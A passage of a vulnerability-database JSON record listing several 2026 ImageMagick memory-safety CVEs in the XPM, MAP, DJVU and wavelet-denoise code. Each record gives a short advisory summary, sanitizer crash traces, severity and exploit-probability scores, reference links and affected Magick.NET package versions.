coders/uil.c:355\n```\n\n```\nREAD of size 1 at 0x55fa1c04c66e thread T0\n    #0 0x55fa1a9ee415 in WriteXPMImage coders/xpm.c:1135\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25898.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25898.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25898","reference_id":"","reference_type":"","scores":[{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05778","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05771","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05734","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.057","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05535","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05526","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05579","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05586","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05596","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05624","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.056","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05563","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05562","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18459","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25898"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25898","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25898"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/c9c87dbaba56bf82aebd3392e11f0ffd93709b12","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/c9c87dbaba56bf82aebd3392e11f0ffd93709b12"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vpxv-r9pg-7gpr","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:26:22Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vpxv-r9pg-7gpr"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25898","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25898"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442102","reference_id":"2442102","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442102"},{"reference_url":"https://github.com/advisories/GHSA-vpxv-r9pg-7gpr","reference_id":"GHSA-vpxv-r9pg-7gpr","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-vpxv-r9pg-7gpr"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25898","GHSA-vpxv-r9pg-7gpr"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-emmr-15qp-vfah"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21918?format=json","vulnerability_id":"VCID-f1zu-xb4j-8qhp","summary":"ImageMagick has a heap buffer over-read in its MAP image decoder\nA heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding.\n\n```\n=================================================================\n==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0\nREAD of size 1 at 0x502000002b31 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25987.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25987.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25987","reference_id":"","reference_type":"","scores":[{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03433","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03334","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03346","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03354","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03359","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.0338","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03339","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.0331","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03289","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03265","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03275","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03398","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03385","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03388","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25987"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25987","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25987"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/bbae0215e1b76830509fd20e6d37c0dd7e3e4c3a","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/bbae0215e1b76830509fd20e6d37c0dd7e3e4c3a"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-42p5-62qq-mmh7","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:07:26Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-42p5-62qq-mmh7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25987","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25987"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442115","reference_id":"2442115","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442115"},{"reference_url":"https://github.com/advisories/GHSA-42p5-62qq-mmh7","reference_id":"GHSA-42p5-62qq-mmh7","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-42p5-62qq-mmh7"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25987","GHSA-42p5-62qq-mmh7"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-f1zu-xb4j-8qhp"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21438?format=json","vulnerability_id":"VCID-fnck-7mvx-hqc9","summary":"ImageMagick has a heap Buffer Over-read  in its DJVU image format handler\nA heap Buffer Over-read vulnerability exists in the DJVU image format handler. The vulnerability occurs due to integer truncation when calculating the stride (row size) for pixel buffer allocation. The stride calculation overflows a 32-bit signed integer, resulting in an out-of-bounds memory reads.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27799.json","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27799.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-27799","reference_id":"","reference_type":"","scores":[{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03452","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03408","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03402","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03416","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03299","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03288","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03365","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03312","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03353","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03335","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03363","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03406","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03385","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.0338","published_at":"2026-04-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-27799"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27799","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27799"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/e87695b3227978ad70b967b8d054baaf8ac2cced","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/e87695b3227978ad70b967b8d054baaf8ac2cced"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r99p-5442-q2x2","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r99p-5442-q2x2"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27799","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27799"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442879","reference_id":"2442879","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442879"},{"reference_url":"https://github.com/advisories/GHSA-r99p-5442-q2x2","reference_id":"GHSA-r99p-5442-q2x2","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-r99p-5442-q2x2"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-27799","GHSA-r99p-5442-q2x2"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-fnck-7mvx-hqc9"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24450?format=json","vulnerability_id":"VCID-g41y-dv8u-3yf1","summary":"ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage\nA crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur.\n\n```\n=================================================================\n==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0\nWRITE of size 4 at 0x503000002754 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30936.json","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30936.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30936","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04412","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04378","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04368","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04429","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04346","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05114","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05277","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05273","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05231","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.052","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05052","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05047","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0513","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05099","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30936"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30936","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30936"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5ggv-92r5-cp4p","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:48:08Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5ggv-92r5-cp4p"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30936","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30936"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445880","reference_id":"2445880","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445880"},{"reference_url":"https://github.com/advisories/GHSA-5ggv-92r5-cp4p","reference_id":"GHSA-5ggv-92r5-cp4p","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5ggv-92r5-cp4p"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq